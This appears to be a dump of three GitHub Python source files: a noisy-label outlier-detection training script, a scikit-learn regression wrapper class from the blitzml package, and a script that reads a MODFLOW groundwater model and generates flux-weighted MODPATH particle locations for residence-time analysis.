default=0.01)\nparser.add_argument('--learning_rate', type=float,\n help='momentum', default=0.01)\nparser.add_argument('--momentum', type=float, help='momentum', default=0.9)\nparser.add_argument('--dataset', type=str, default='mnist')\nparser.add_argument('--method', type=str, default='CDR')\nparser.add_argument('--outlier_ratio', type=float, default=0.2)\nparser.add_argument('--flag', type=str, default='CE_T')\nargs = parser.parse_args()\n\n#device = torch.device(\"cpu\")\nDATA_FOLDER = 'all_data_folder'\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\ntransform = transforms.Compose([transforms.ToTensor(),\n transforms.Normalize((0.1307, ), (0.3081, )), ])\ntransform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\ntransform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\ntest_transformer_covid = transforms.Compose([\n transforms.Resize(224),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(\n mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n])\n\nbest_acc = np.zeros(10)\nfor i in range(10):\n train_images = torch.load(DATA_FOLDER+'/{d}_data/{d}_{nt}_{nr}_train_images.pt'.format(\n d=args.dataset, nt=args.noise_type, nr=args.noise_rate))\n val_images = torch.load(DATA_FOLDER+'/{d}_data/{d}_{nt}_{nr}_val_images.pt'.format(\n d=args.dataset, nt=args.noise_type, nr=args.noise_rate))\n train_and_val_images = torch.load(DATA_FOLDER+'/{d}_data/{d}_{nt}_{nr}_train_and_val_images.pt'.format(\n d=args.dataset, nt=args.noise_type, nr=args.noise_rate))\n\n labels = np.load(DATA_FOLDER+'/{d}_data/{d}_{nt}_{nr}_labels.npz'.format(\n d=args.dataset, nt=args.noise_type, nr=args.noise_rate))\n train_labels = labels['train_labels']\n val_labels = labels['val_labels']\n train_and_val_labels = labels['train_and_val_labels']\n train_and_val_labels_without_noise = labels['train_and_val_labels_without_noise']\n\n\n noise_train_dataset = NoisyDataset(\n train_images, train_labels, target_transform=tools.transform_target)\n noise_val_dataset = NoisyDataset(\n val_images, val_labels, target_transform=tools.transform_target)\n train_and_val_dataset = NoisyDataset(\n train_and_val_images, train_and_val_labels, target_transform=tools.transform_target)\n\n if args.dataset == 'linear' or args.dataset == 'nonlinear':\n num_classes = 2\n num_gradual_cdr = 2\n batch_size = len(noise_train_dataset)\n test_images = torch.load(DATA_FOLDER+'/{d}_data/test_images.pt'.format(d=args.dataset))\n test_labels = torch.load(DATA_FOLDER+'/{d}_data/test_labels.pt'.format(d=args.dataset))\n test_dataset = torch.utils.data.TensorDataset(test_images, test_labels)\n\n noise_train_loader = torch.utils.data.DataLoader(\n noise_train_dataset, batch_size=batch_size, drop_last=False, shuffle=True, num_workers=args.workers, pin_memory=True)\n noise_val_loader = torch.utils.data.DataLoader(\n noise_val_dataset, batch_size=len(noise_val_dataset), drop_last=False, shuffle=False, num_workers=args.workers, pin_memory=True)\n train_and_val_loader = torch.utils.data.DataLoader(\n train_and_val_dataset, batch_size=len(train_and_val_dataset), drop_last=False, shuffle=False, num_workers=args.workers, pin_memory=True)\n test_loader = torch.utils.data.DataLoader(\n test_dataset, batch_size=len(test_dataset))\n\n if args.flag == 'CE_dbT':\n load = np.load('best_pred_outlier_{d}_Trimming_{nt}_{nr}.npy'.format(d=args.dataset, \n nt=args.noise_type, nr=args.noise_rate))\n outliers = load.astype(np.int)\n elif args.flag == 'CE_R':\n n = len(train_and_val_labels) * args.noise_rate\n outliers = np.random.choice(len(train_and_val_labels) ,int(n),replace=False)\n elif args.flag == 'CE_T':\n outliers = np.where(train_and_val_labels !=\n train_and_val_labels_without_noise)[0]\n \n new_images = np.delete(train_and_val_images, outliers, axis=0)\n new_labels = np.delete(train_and_val_labels, outliers, axis=0)\n \n #assert False\n\n new_dataset = NoisyDataset(\n new_images, new_labels, target_transform=tools.transform_target)\n new_loader = torch.utils.data.DataLoader(\n new_dataset, batch_size=len(new_dataset), drop_last=False, shuffle=True, num_workers=args.workers, pin_memory=True)\n \n if args.dataset == 'linear':\n #model = Logistic()\n model = NeuralNetLinear()\n elif args.dataset == 'nonlinear':\n model = NeuralNetwork()\n \n\n model = model.to(device)\n optimizer = torch.optim.SGD(\n model.parameters(), lr=args.learning_rate, weight_decay=args.weight_decay, momentum=args.momentum)\n\n criterion = nn.CrossEntropyLoss()\n\n if args.method == 'CDR':\n lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(\n optimizer, milestones=[40, 80], gamma=0.1)\n elif args.method == 'CRUST':\n lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(\n optimizer, milestones=[80, 100], last_epoch=args.start_epoch - 1)\n weights = [1] * len(noise_train_dataset)\n weights = torch.FloatTensor(weights)\n\n outlier_id = np.where(train_and_val_labels !=\n train_and_val_labels_without_noise)[0]\n num_outliers = len(outlier_id)\n\n TrainLoss = np.zeros(args.epoch)\n TrainAccuracy = np.zeros(args.epoch)\n TestLoss = np.zeros(args.epoch)\n TestAccuracy = np.zeros(args.epoch)\n ValidationLoss = np.ones(args.epoch) # np.empty(args.epoch)\n OutlierDetectionAccuracy = np.zeros(args.epoch)\n\n\n for epoch in range(args.start_epoch, args.epoch):\n start = time.time()\n if args.method == 'CE':\n ce = CE()\n train_loss, train_acc = ce.train(\n new_loader, model, device, criterion, optimizer)\n\n test_loss, test_acc = eval_on_holdout.eval_on_holdout_data(\n test_loader, model, device, criterion)\n\n outlier_detection_accuracy, _ = eval_on_holdout.eval_outlier_detection(\n train_and_val_images, train_and_val_labels, train_and_val_labels_without_noise, model, device)\n \n print('epoch %d, train_loss: %.8f train_acc: %f test_loss: %f test_acc: %f' %\n (epoch+1, train_loss, train_acc, test_loss, test_acc))\n print(\"outlier_detection_accuracy: %.4f\" % (outlier_detection_accuracy))\n TrainLoss[epoch] = train_loss\n TrainAccuracy[epoch] = train_acc\n TestLoss[epoch] = test_loss\n TestAccuracy[epoch] = test_acc\n #ValidationLoss[epoch] = val_loss\n OutlierDetectionAccuracy[epoch] = outlier_detection_accuracy\n #PredOutliers[epoch] = pred_outliers\n\n end = time.time() - start\n #print(end)\n\n\n if args.method == 'CRUST':\n test_acc_max = TestAccuracy[args.epoch-1]\n elif args.method == 'Trimming' or args.method == 'Trimming_minibatch':\n test_acc_max = OutlierDetectionAccuracy[np.argmin(TrainLoss)]\n #test_acc_max = test_acc\n else:\n #test_acc_max = TestAccuracy[np.argmin(ValidationLoss)]\n test_acc_max = OutlierDetectionAccuracy[np.argmin(TrainLoss)]\n print('Best Accuracy', test_acc_max)\n best_acc[i] = test_acc_max\n\n\n\n np.savez('{d}_analysis/random_{me}_{nt}_{nr}_result_{num}'.format(d=args.dataset, me=args.method,\n nt=args.noise_type, nr=args.noise_rate,num=i), train_loss_result=TrainLoss,\n train_acc_result=TrainAccuracy, test_loss_result=TestLoss,\n test_acc_result=TestAccuracy, val_loss_result=ValidationLoss,\n outlier_detection_accuracy=OutlierDetectionAccuracy)\n\nnp.save('analysis_{d}/random_{nt}_{nr}_{m}_result'.format(\n d=args.dataset, nt=args.noise_type, m=args.method, nr=args.noise_rate), best_acc)\n","repo_name":"Ohsakoy/Graduation-Research","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":9499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15442430521","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\n# ignore pandas warnings \nimport warnings\nwarnings.filterwarnings('ignore')\n# metrics imports \nfrom math import sqrt\nfrom sklearn.metrics import (\n mean_squared_error, \n r2_score ,\n mean_absolute_error\n)\nfrom ._supervised import Supervised_ML\n\n\nfrom sklearn.linear_model import LinearRegression, Ridge, Lasso\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.svm import SVR\nfrom sklearn.gaussian_process import GaussianProcessRegressor\n\n# preprocessing and cross validation\nfrom sklearn.model_selection import learning_curve\n\nclass Regression(Supervised_ML):\n \"\"\"\n Parameters:\n :param kwargs: is the regressor arguments\n \"\"\"\n\n algorithms_map = {\n \"LR\": LinearRegression,\n \"RDG\": Ridge,\n \"LSS\": Lasso,\n \"MLP\": MLPRegressor,\n \"GB\": GradientBoostingRegressor,\n \"DT\": DecisionTreeRegressor,\n \"RF\": RandomForestRegressor,\n \"KNN\": KNeighborsRegressor,\n \"SVR\": SVR,\n \"GPR\": GaussianProcessRegressor,\n }\n\n def __init__(self,\n train_df,\n test_df,\n algorithm=\"RF\",\n class_name = \"None\",\n file_path = \"None\",\n feature_selection = \"none\",\n validation_percentage = 0.1,\n cross_validation_k_folds = 1,\n **kwargs):\n self.train_df = train_df\n self.test_df = test_df\n assert (not (self.train_df.empty) and not (self.test_df.empty))\n\n if algorithm in ['custom','auto']:\n self.algorithm = algorithm\n else:\n assert (\n algorithm in self.algorithms_map.keys()\n ), \"Unsupported regressor provided\"\n self.algorithm = algorithm\n\n self.class_name = class_name\n self.file_path = file_path\n self.kwargs = kwargs\n self.target_col = None\n self.model = None\n self.pred_df = None\n self.metrics_dict = None\n self.target = None\n self.columns_high_corr = None\n self.important_columns =None\n self.used_columns = None\n self.true_values = None\n self.validation_percentage = validation_percentage\n self.cross_validation_k_folds = cross_validation_k_folds\n self.cross_validation_score = None \n assert (self.validation_percentage<=0.9), \"Validation % must be <=0.9\"\n self.validation_df = None\n self.scaler = None\n self.problem_type = 'Regression'\n self.used_metric = 'r2'\n if feature_selection in ['correlation', 'importance']:\n self.feature_selection = feature_selection\n else:\n self.feature_selection = None\n\n def scale_target_column(self, train ,target):\n self.scaler = preprocessing.MinMaxScaler()\n train[target] = self.scaler.fit_transform(np.asarray(train[target]).reshape(-1, 1)).reshape(1, -1)[0]\n self.train_df = train\n\n def rmse_history(self):\n train_sizes, train_scores, test_scores = learning_curve(\n self.model,\n self.train_df[self.used_columns], \n self.target_col,\n cv=5, \n scoring='neg_root_mean_squared_error', \n n_jobs=-1, \n train_sizes=np.linspace(0.1, 1.0, 7)\n )\n train_scores_mean = -np.mean(train_scores, axis=1)\n test_scores_mean = -np.mean(test_scores, axis=1)\n title = str(self.model)[:-2] + ' learning curves'\n\n data = {\n 'x':train_sizes,\n 'y1':train_scores_mean,\n 'y2':test_scores_mean,\n 'title':title,\n }\n return data\n \n def plot(self):\n data = self.rmse_history()\n plt.figure(figsize=(20,10))\n plt.title(data['title'], fontsize = 22)\n plt.plot(data['x'], data['y1'],color = 'blue', label = 'train RMSE')\n plt.plot(data['x'], data['y2'],color = 'orange', label = 'test RMSE')\n plt.legend()\n plt.xlabel('Sample size', fontsize = 18)\n plt.ylabel('Root mean squared error', fontsize = 18)\n plt.xticks(fontsize = 14)\n plt.yticks(fontsize = 14)\n plt.show()\n\n def gen_pred_df(self, df):\n preds = self.model.predict(df[self.used_columns])\n df[self.target] = preds\n # assign to self.pred_df only if inputs the test df\n if df is self.test_df:\n # reverse scaling\n df[self.target] = self.scaler.inverse_transform(np.asarray(df[self.target]).reshape(-1, 1)).reshape(1, -1)[0]\n self.pred_df = df \n else: # if input is validation\n return df\n\n def gen_metrics_dict(self):\n predicted = self.gen_pred_df(self.validation_df)\n y_pred = predicted[self.target]\n y_true = self.true_values\n\n # inverse scaling\n y_pred = self.scaler.inverse_transform(np.asarray(y_pred).reshape(-1, 1)).reshape(1, -1)[0]\n y_true = self.scaler.inverse_transform(np.asarray(y_true).reshape(-1, 1)).reshape(1, -1)[0]\n\n r2 = r2_score(y_true, y_pred)\n mse = mean_squared_error(y_true, y_pred)\n rmse = sqrt(mse)\n mae = mean_absolute_error(y_true, y_pred)\n\n dict_metrics = {\n \"r2_score\": r2,\n \"mean_squared_error\": mse,\n \"root_mean_squared_error\": rmse,\n \"mean_absolute_error\" : mae,\n \"cross_validation_score\":self.cross_validation_score, \n }\n self.metrics_dict = dict_metrics\n \n def run(self):\n train , test = self.drop_null_data()\n target , dt , target_list = self.detect_target_data( train , test)\n df = self.concat_dataframes(target, train , test, target_list)\n df = self.drop_null_columns(df)\n cat_colmns , num_colmns = self.classify_columns(df, target)\n columns_has_2 , columns_has_3to7 , columns_to_drop = self.classify_categorical_columns(df , cat_colmns)\n df = self.fill_null_values(df, cat_colmns, num_colmns)\n df = self.encode_categorical_columns(df, columns_has_2, columns_has_3to7 , columns_to_drop)\n train_n , test_n = self.split_dataframes(df, target, dt)\n self.scale_target_column(train_n,target)\n self.split_train_validation(train_n,test_n,target)\n self.train_the_model()\n self.gen_pred_df(self.test_df)\n self.gen_metrics_dict()","repo_name":"blitzml/blitzml","sub_path":"blitzml/tabular/_regression.py","file_name":"_regression.py","file_ext":"py","file_size_in_byte":6599,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"} +{"seq_id":"2815896075","text":"\n# coding: utf-8\n\n# This notebook is used to get residence-time distribution (RTD) for the entire aquifer from an existing MODFLOW model. It is possible to read in any group or label from a 3D array and make RTDs for those groups. The approach is to \n# * read an existing model\n# * create flux-weighted particle starting locations in every cell\n# * run MODPATH and read endpoints\n# * fit parametric distributions to endpoints\n# \n# This notebook creates flux-weighted particles. Another notebook fits parametric distributions.\n\n# In[ ]:\n\n__author__ = 'Jeff Starn'\n# get_ipython().magic('matplotlib notebook')\n\n# from IPython.display import set_matplotlib_formats\n# set_matplotlib_formats('png', 'pdf')\n# from IPython.display import Image\n# from IPython.display import Math\n# from ipywidgets import interact, Dropdown\n# from IPython.display import display\n\nimport os\nimport sys\nimport shutil\nimport pickle\nimport numpy as np\nimport datetime as dt\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mt\nimport flopy as fp\nimport imeth\nimport pandas as pd\nimport gdal\nimport scipy.stats as ss\nimport scipy.optimize as so\nfrom scipy.interpolate import Rbf\nfrom scipy.interpolate import griddata\n\n\n# # Preliminary stuff\n\n# ## Set user-defined variables\n# \n# MODFLOW and MODPATH use elapsed time and are not aware of calendar time. To place MODFLOW/MODPATH elapsed time on the calendar, two calendar dates were specified at the top of the notebook: the beginning of the first stress period (`mf_start_date`) and when particles are to be released (`mp_release_date`). The latter date could be used in many ways, for example to represent a sampling date, or it could be looped over to create a time-lapse set of ages. \n# \n# `num_surf_layers` is an arbitrary layer number on which to divide the model domain for calculating RTDs. For example, in glacial aquifers it could represent the layer number of the bottom of unconsolidated deposits. In that case, anything below this layer could be considered bedrock.\n# \n# `num_depth_groups` is an arbitrary number of equally groups starting from the water table to the bottom of the lowest model layer.\n\n# ## Loop through home directory to get list of name files\n\n# In[ ]:\n\nhomes = ['../Models']\nfig_dir = '../Figures'\n\nmfpth = '../executables/MODFLOW-NWT_1.0.9/bin/MODFLOW-NWT_64.exe'\nmp_exe_name = '../executables/modpath.6_0/bin/mp6.exe' \n\nmf_start_date_str = '01/01/1900' \nmp_release_date_str = '01/01/2020' \n\nnum_surf_layers = 3\nnum_depth_groups = 5\n\npor = 0.20\n\ndir_list = []\nmod_list = []\ni = 0\n\nfor home in homes:\n if os.path.exists(home):\n for dirpath, dirnames, filenames in os.walk(home):\n for f in filenames:\n if os.path.splitext(f)[-1] == '.nam':\n mod = os.path.splitext(f)[0]\n mod_list.append(mod)\n dir_list.append(dirpath)\n i += 1\nprint(' {} models read'.format(i))\n\n# model_area = Dropdown(\n # options=mod_list,\n # description='Model:',\n # background_color='cyan',\n # border_color='black',\n # border_width=2)\n# display(model_area)\n\nwith open('dir_list.txt', 'w') as f:\n for i in dir_list:\n f.write('{}\\n'.format(i))\n\n\n# ## Create names and path for model workspace. \n\n# The procedures in this notebook can be run from the notebook or from a batch file by downloading the notebook as a Python script and uncommenting the following code and commenting out the following block. The remainder of the script has to be indented to be included in the loop. This may require familiarity with Python. \n\n# In[ ]:\n\nfor pth in dir_list:\n model = os.path.normpath(pth).split(os.sep)[2]\n model_ws = [item for item in dir_list if model in item][0]\n nam_file = '{}.nam'.format(model)\n print(\"working model is {}\".format(model_ws))\n\n\n # In[ ]:\n\n # model = model_area.value\n # model_ws = [item for item in dir_list if model in item][0]\n # nam_file = '{}.nam'.format(model)\n # print(\"working model is {}\".format(model_ws))\n\n\n # # Load an existing model\n\n # In[ ]:\n\n print ('Reading model information')\n\n fpmg = fp.modflow.Modflow.load(nam_file, model_ws=model_ws, exe_name=mfpth, version='mfnwt', \n load_only=['DIS', 'BAS6', 'UPW', 'OC'], check=False)\n\n dis = fpmg.get_package('DIS')\n bas = fpmg.get_package('BAS6')\n upw = fpmg.get_package('UPW')\n oc = fpmg.get_package('OC')\n\n delr = dis.delr\n delc = dis.delc\n nlay = dis.nlay\n nrow = dis.nrow\n ncol = dis.ncol\n bot = dis.getbotm()\n top = dis.gettop()\n\n hnoflo = bas.hnoflo\n ibound = np.asarray(bas.ibound.get_value())\n hdry = upw.hdry\n\n print (' ... done') \n\n\n # FloPy loads MODFLOW packages but not their name-file unit numbers, so these have to be read separately.\n\n # In[ ]:\n\n src = os.path.join(model_ws, fpmg.namefile)\n name_file_df = pd.read_table(src, header=None, comment='#', delim_whitespace=True, \n names=['package', 'unit', 'filename', 'type'])\n\n name_file_df['package'] = name_file_df.package.str.lower()\n name_file_df.set_index('unit', inplace=True)\n\n head_file_name = name_file_df.loc[oc.iuhead, 'filename']\n bud_file_name = name_file_df.loc[oc.get_budgetunit(), 'filename']\n\n\n # ## Specification of time in MODFLOW/MODPATH\n # \n # There are several time-related definitons used in MODPATH.\n # * `simulation time` is the elapsed time in model time units from the beginning of the first stress period\n # * `reference time` is an arbitrary value of `simulation time` that is between the beginning and ending of `simulation time`\n # * `tracking time` is the elapsed time relative to `reference time`. It is always positive regardless of whether particles are tracked forward or backward\n # * `release time` is when a particle is released and is specified in `tracking time`\n\n # In[ ]:\n\n # Create dictionary of multipliers for converting model time units to days\n time_dict = dict()\n time_dict[0] = 1.0 # undefined assumes days, so enter conversion to days\n time_dict[1] = 24 * 60 * 60\n time_dict[2] = 24 * 60\n time_dict[3] = 24\n time_dict[4] = 1.0\n time_dict[5] = 1.0\n\n # convert string representation of dates into Python datetime objects\n mf_start_date = dt.datetime.strptime(mf_start_date_str , '%m/%d/%Y')\n mp_release_date = dt.datetime.strptime(mp_release_date_str , '%m/%d/%Y')\n\n # convert simulation time to days from the units specified in the MODFLOW DIS file\n sim_time = np.append(0, dis.get_totim())\n sim_time /= time_dict[dis.itmuni]\n\n # make a list of simulation time formatted as calendar dates\n date_list = [mf_start_date + dt.timedelta(days = item) for item in sim_time]\n\n # reference time and date are set to the end of the last stress period\n ref_time = sim_time[-1]\n ref_date = date_list[-1]\n\n # release time is calculated in tracking time (for particle release) and \n # in simulation time (for identifying head and budget components)\n release_time_trk = np.abs((ref_date - mp_release_date).days)\n release_time_sim = (mp_release_date - mf_start_date).days\n\n\n # ## Read budget file records\n\n # In[ ]:\n\n src = os.path.join(model_ws, bud_file_name)\n bud_obj = fp.utils.CellBudgetFile(src)\n all_bud_df = pd.DataFrame(bud_obj.recordarray)\n\n # convert to zero base\n all_bud_df['kper'] = all_bud_df['kper'] - 1\n all_bud_df['kstp'] = all_bud_df['kstp'] - 1\n\n # add calendar date (not used at this time)\n all_bud_df['date'] = mf_start_date + pd.to_timedelta(all_bud_df.totim, unit='days')\n\n\n # ## Identify time step and stress period for particle release\n # \n # * read all stress periods and time steps that were preserved in the budget file\n # * find the largest (latest) stress period and time step that include the mp_release_date\n # * make a subset of all the budget records from the specified period and step\n\n # In[ ]:\n\n # group by period and step\n kdf = all_bud_df.groupby(['kper', 'kstp']).median()\n\n # find the latest group index that includes the release date\n idx = kdf.loc[(kdf.totim >= release_time_sim).idxmax(), :].name\n\n # switch period and step \n kstpkper = tuple(item for item in idx[-1::-1])\n\n # extract the budget records for the specified period and step\n bud_df = all_bud_df.query('kstp=={} and kper=={}'.format(*kstpkper)).copy()\n\n bud_df.loc[:, 'per_num'] = bud_df.totim.factorize()[0]\n num_rec = bud_df.shape[0]\n\n\n # ## Extract specified flows from MODFLOW budget\n # \n # Get recharge at top model surface (recharge package only at this time) and flow across the bottom of layer = num_surf_layers. \n\n # In[ ]:\n\n if b' RECHARGE' in bud_df.text.values:\n # probably should make this so that recharge is summed from the highest active cell\n rch = bud_obj.get_data(text='RECHARGE', kstpkper=kstpkper, full3D=True)\n recharge_vol = rch[0].sum() \n else:\n print('no recharge')\n # This assumes all recharge is from RCH package. Should add a check for UZF package & concat them\n\n\n # In[ ]:\n\n if num_surf_layers <= nlay: \n flf = bud_obj.get_data(text='FLOW LOWER FACE', kstpkper=kstpkper, full3D=True)\n flow2rock = flf[0][num_surf_layers - 1, :, :]\n bedrock_recharge_vol = flow2rock[flow2rock > 0].sum()\n bed_frac = bedrock_recharge_vol / recharge_vol\n else:\n print('invalid num_surf_layers')\n\n\n # ## Read head file\n # The head file is used limit particle placement to the saturated part of each cell and to identify dry cells.\n\n # In[ ]:\n\n src = os.path.join(model_ws, head_file_name)\n hd_obj = fp.utils.HeadFile(src)\n head_df = pd.DataFrame(hd_obj.recordarray)\n\n heads = hd_obj.get_data(kstpkper=kstpkper)\n\n\n # ## Calculate saturated thickness and volume for each cell.\n # * create 3D model cell boundary grid\n # * saturated top in cell is minimum of head or cell top\n # * saturated thickness is the distance between the saturated top and cell bottom\n # * if the cell is dry or inactive, the saturated thickness is zero\n # \n\n # In[ ]:\n\n # create a 3D array of layer boundaries\n grid = np.zeros((nlay+1, nrow, ncol))\n grid[0, :, :] = top\n grid[1:, :, :] = bot\n\n # tmp is the minimum of the head and cell top \n tmp = np.minimum(heads, grid[:-1, :, :])\n\n # the saturated thickness is first estimated to be the difference between tmp and the cell bottom\n sat_thk_cell = (tmp - grid[1:, :, :]) \n\n # sat_thk_cell < 0 means the head is below the bottom of the cell; these are set to zero\n sat_thk_cell[sat_thk_cell < 0] = 0\n\n\n # ## Calculate the mean exponential age \n # \n # Based on simulated recharge volumteric rate and simulated aquifer volume. Calculations are for the entire model (total) and for layers above and below the layer specified at the top of the notebook as `num_surf_layers`.\n\n # In[ ]:\n\n # create grid cell dimension arrays\n delc_ar, dum, delr_ar = np.meshgrid(delc, np.arange(nlay), delr)\n\n # saturated volume of each cell\n sat_vol_cell = sat_thk_cell * delc_ar * delr_ar\n\n # sum totals\n total_sat_vol = sat_vol_cell.sum()\n total_sat_vol_glac = sat_vol_cell[0:num_surf_layers, :, :].sum()\n total_sat_vol_bedr = sat_vol_cell[num_surf_layers:, :, :].sum()\n\n tau_glacial = total_sat_vol_glac * por / recharge_vol / 365.25\n tau_bedrock = total_sat_vol_bedr * por / bedrock_recharge_vol / 365.25\n tau_total = total_sat_vol * por / recharge_vol / 365.25\n\n\n # In[ ]:\n\n print('tau total = {:8.0f} years'.format(tau_total))\n print('tau above = {:8.0f} years'.format(tau_glacial))\n print('tau below = {:8.0f} years'.format(tau_bedrock))\n\n\n # In[ ]:\n\n dst = os.path.join(model_ws, 'tau.txt')\n with open(dst, 'w') as f:\n line = 'Mean exponential age in glacial is {0:0.6f} years\\n'.format(tau_glacial)\n f.write(line)\n line = 'Mean exponential age in bedrock is {0:0.6f} years\\n'.format(tau_bedrock)\n f.write(line)\n line = 'Mean exponential age in total is {0:0.6f} years\\n'.format(tau_total)\n f.write(line)\n line = 'Inflow to bedrock is {0:0.0f} cubic meters per day\\n'.format(bedrock_recharge_vol)\n f.write(line)\n line = 'Inflow to bedrock is {0:0.3f} of total recharge\\n'.format(bed_frac)\n f.write(line)\n\n\n # # Make MODPATH input files and run MODPATH\n\n # ## Calculate inflow into each cell\n # The number of particles in each cell is in proportion to the flux into the cell. Particle locations within a cell are generated randomly. The proportion constant is calculated from the desired total number of particles. Number of particles per cell is proportional to the flow into the cell such that the total number of particles = `t_num_parts`, in this case 2 million. \n # \n # MODFLOW includes a variable called `imeth` in the budget file. `imeth` is used to specify the format in which the budget data are stored. Functions for reading `imeth` for each of the data formats are defined in the module imeth.py.\n\n # In[ ]:\n\n flow_times = bud_df.totim.unique()\n nt = bud_df.per_num.nunique()\n\n rxc = dis.nrow * dis.ncol\n nn = dis.nlay * rxc\n\n im = imeth.imeth(nlay, nrow, ncol)\n\n qx1 = np.zeros((nt, nn))\n qx2 = np.zeros_like(qx1)\n qy1 = np.zeros_like(qx1)\n qy2 = np.zeros_like(qx1)\n qz1 = np.zeros_like(qx1)\n qz2 = np.zeros_like(qx1)\n storage = np.zeros_like(qx1)\n\n bound_flow = np.zeros((nn, 7))\n int_flow_right = np.zeros((nn))\n int_flow_left = np.zeros((nn))\n int_flow_front = np.zeros((nn))\n int_flow_back = np.zeros((nn))\n int_flow_lower = np.zeros((nn))\n int_flow_top = np.zeros((nn))\n\n for i, rec in bud_df.iterrows():\n\n BUFF = bud_obj.get_record(i)\n \n internal_flow_list = [b' CONSTANT HEAD', b'FLOW RIGHT FACE ', b'FLOW FRONT FACE ', b'FLOW LOWER FACE ', b'STORAGE']\n\n if rec.text in internal_flow_list:\n if b' CONSTANT HEAD' in rec.text:\n bound_flow += im.imeth2(BUFF)\n elif b'FLOW RIGHT FACE ' in rec.text:\n int_flow_right = im.imeth1(BUFF)\n int_flow_left = np.roll(int_flow_right, 1)\n elif b'FLOW FRONT FACE ' in rec.text:\n int_flow_front = im.imeth1(BUFF)\n int_flow_back = np.roll(int_flow_front, ncol)\n elif b'FLOW LOWER FACE ' in rec.text:\n int_flow_lower = im.imeth1(BUFF)\n int_flow_top = np.roll(int_flow_lower, rxc)\n elif b'STORAGE' in rec.text:\n bound_flow[: , 0] += im.imeth1(BUFF)\n else:\n print('Unrecognized budget type')\n\n if rec.text not in internal_flow_list:\n if rec.imeth == 1:\n bound_flow[:, 0] += im.imeth1(BUFF)\n elif rec.imeth == 2:\n bound_flow[:, 0] += im.imeth2(BUFF)\n elif rec.imeth == 3:\n bound_flow += im.imeth3(BUFF)\n elif rec.imeth == 4:\n bound_flow += im.imeth4(BUFF)\n elif rec.imeth == 5:\n bound_flow += im.imeth5(BUFF)\n else:\n print('Unrecognized budget type')\n\n storage[rec.per_num , :] += bound_flow[:, 0]\n\n qx1[rec.per_num , :] = int_flow_left + bound_flow[:, 1]\n qx2[rec.per_num , :] = int_flow_right - bound_flow[:, 2]\n\n qy1[rec.per_num , :] = -int_flow_front + bound_flow[:, 3]\n qy2[rec.per_num , :] = -int_flow_back - bound_flow[:, 4]\n\n qz1[rec.per_num , :] = -int_flow_lower + bound_flow[:, 5]\n qz2[rec.per_num , :] = -int_flow_top - bound_flow[:, 6]\n\n qin1 = np.where(qx1 > 0, qx1, 0)\n qin2 = np.where(qx2 < 0, -qx2, 0)\n qin3 = np.where(qy1 > 0, qy1, 0)\n qin4 = np.where(qy2 < 0, -qy2, 0)\n qin5 = np.where(qz1 > 0, qz1, 0)\n qin6 = np.where(qz2 < 0, -qz2, 0)\n\n flow_sum = np.sum((qin1, qin2, qin3, qin4, qin5, qin6), axis=0)\n\n # set the flow to zero for cells that went dry during the simulation and also for isolated cells\n flow_sum[0, heads.ravel() == hdry] = 0\n # flow_sum[heads.ravel() > 1.E+29] = 0\n\n print (' ... done' )\n\n\n # ## Repeat cell coordinates for the number of particles\n\n # For now hardwired to first stress period. \n\n # In[ ]:\n\n t_num_parts = 2.0E+06\n flow_per_period = flow_sum[0, :]\n f = t_num_parts / flow_per_period.sum()\n\n parts_per_cell = np.rint( flow_per_period * f ).astype( np.int32 )\n\n l, r, c = np.indices(( nlay, nrow, ncol ))\n\n lrep = np.repeat( l, parts_per_cell.ravel() )\n rrep = np.repeat( r, parts_per_cell.ravel() )\n crep = np.repeat( c, parts_per_cell.ravel() )\n num_parts = lrep.shape[0]\n\n print(num_parts)\n\n\n # In[ ]:\n\n print('Min number of particles per active cell = {:10.0f}'.format(parts_per_cell[ibound.ravel() != 0].min()))\n print('Mean number of particles per active cell = {:10.0f}'.format(parts_per_cell[ibound.ravel() != 0].mean()))\n print('Max number of particles per active cell = {:10.0f}'.format(parts_per_cell[ibound.ravel() != 0].max()))\n\n\n # ## Limit vertical particle placement to the saturated part of each cell\n # MODPATH wants particle locations as the layer, row, column (which we now have) plus the relative cell coordinates within each cell over (0, 1). In this application relative cell coordinates are generated randomly. In partially saturated cells, the random particle location is scaled to the saturated thickness. \n\n # In[ ]:\n\n # generate random relative coordinates within a cell in 3D\n cell_coords = np.random.rand( num_parts, 3 )\n\n # calculate the fraction of saturation; unsaturated = 0, partially saturated 0 to 1, fully saturated = 1\n vfrac = sat_thk_cell / -np.diff(grid, axis=0)\n\n # replace z coordinate with random number scaled to vfrac\n cell_coords[:, 2] = np.random.rand( num_parts ) * np.repeat( vfrac, parts_per_cell.ravel())\n\n\n # ## Assign depth related group number\n # \n # Particle groups are assigned based on the relative position. Other approaches could be substitued. They must be integers. Zone numbers can be read into the label variable. \n\n # In[ ]:\n\n # percent_thk_lay = sat_thk_cell[:num_surf_layers, :, :] / sat_thk_cell[:num_surf_layers, :, :].sum(axis=0)\n # percent_thk_lay_cum = 1 - np.cumsum(percent_thk_lay, axis=0)\n\n # z_cell = cell_coords[:, 2]\n # rel_z_pos = percent_thk_lay_cum[lrep, rrep, crep] + z_cell * percent_thk_lay[lrep, rrep, crep]\n # group = np.digitize(1 - rel_z_pos, np.linspace(0, 1, num_depth_groups + 1))\n group = 1\n\n\n # ## Read zone array to use as particle label. \n # \n # To Do : Add code to read zone array\n\n # In[ ]:\n\n # zones = np.readtxt()\n label = 1\n\n\n # 